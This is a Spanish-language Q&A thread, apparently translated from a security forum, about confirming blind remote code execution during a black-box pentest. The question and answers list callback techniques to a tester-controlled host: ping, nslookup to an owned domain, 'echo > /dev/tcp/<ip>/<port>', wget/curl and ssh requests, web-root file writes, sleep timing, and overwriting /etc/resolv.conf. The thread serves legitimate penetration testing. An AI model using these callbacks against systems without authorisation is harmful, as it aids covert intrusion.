Verificar que la ejecución del código "ciego" funciona

2

Supongamos la siguiente situación: estás haciendo un pentest de caja negra. Encontró que el cliente ejecuta el software X y X tiene una vulnerabilidad de ejecución remota de código, pero la naturaleza de esta ejecución de código es que stderr y stdout no pueden enviarse de vuelta al atacante. En este sentido, la ejecución funciona pero nunca verás la salida de los comandos que ejecutas.

Para complicar aún más las cosas, supongamos que no puede conocer el sistema operativo (y el software X se ejecuta en todas las plataformas principales).

¿Qué puede hacer para verificar si la ejecución de su código realmente funciona? He descubierto 2 formas de hacerlo, al menos en teoría.

  1. Ejecutas un ping <some IP> donde hay un cuadro bajo tu control. Tendría que modificar la capa de red de esa caja de manera que pueda detectar un ping entrante desde su máquina víctima objetivo.
  2. Ejecutas un nslookup somename.yourdomain.com que eres el propietario de yourdomain.com. Nuevamente, el servidor DNS está configurado de manera que se le avisa cuando entra una solicitud de DNS para somename.yourdomain.com .
  3. En linux / unix puedo probar echo sth > /dev/tcp/<myip>/<port> , esperando que el > El personaje no está saneado en algún lugar en el camino. Y esto no funciona en Windows.

Mi pregunta es: ¿hay formas más fáciles de lograr el mismo objetivo?

    
pregunta kaidentity 04.11.2016 - 22:29
fuente

2 respuestas

2

El comando sleep funciona tanto en Linux como en Windows. El tiempo para que el software responda normalmente cuando se usa el comando de suspensión indicará que la ejecución del código funciona.

Esto tampoco requeriría ningún tráfico de red para mostrar que funcionaba, lo que podría ser un beneficio si el firewall bloquea el tráfico saliente.

    
respondido por el mebmc 05.11.2016 - 02:41
fuente
1

Más alternativas, pero requeriría herramientas para estar presentes en la máquina víctima.

  1. Use wget o curl y acceda a su servidor HTTP. Puede verificar fácilmente los registros si hay una solicitud de la máquina víctima. La dificultad aquí es que un buen sysad eliminaría wget o curl de una máquina de producción.
  2. Similar a 1, puede probar una solicitud ssh o telnet a su máquina y revisar los registros. Una vez más, un buen sysad eliminaría los clientes ssh y telnet.
  3. Esto dependerá de la aplicación a la que tengas acceso. En el mejor de los casos, hay un servidor web ejecutándose en la máquina víctima, y en ese caso, simplemente escriba o cat en un archivo y colóquelo donde crea que está la raíz web. La idea es verificar la ejecución de comandos a través de la escritura en el sistema de archivos y el uso de otros servicios para verificar.
  4. Si la aplicación vulnerable tiene privilegios de raíz, puede hacer eco de su IP en /etc/resolv.conf y abrir la escucha al puerto 53.

En función de lo que usted proporcionó, también primero estimaría el sistema operativo utilizando la huella digital de ping. TTL de 128 sería Windows, 64 * Nix. Si no responde a los paquetes ICMP, entonces, no puede hacer esto.

Sé que esto requiere más dependencias, pero creo que son más fáciles en términos de verificar y validar si el código se ejecutó. Espero que esto ayude.

    
respondido por el Link 11.11.2016 - 08:39
fuente

Lea otras preguntas en las etiquetas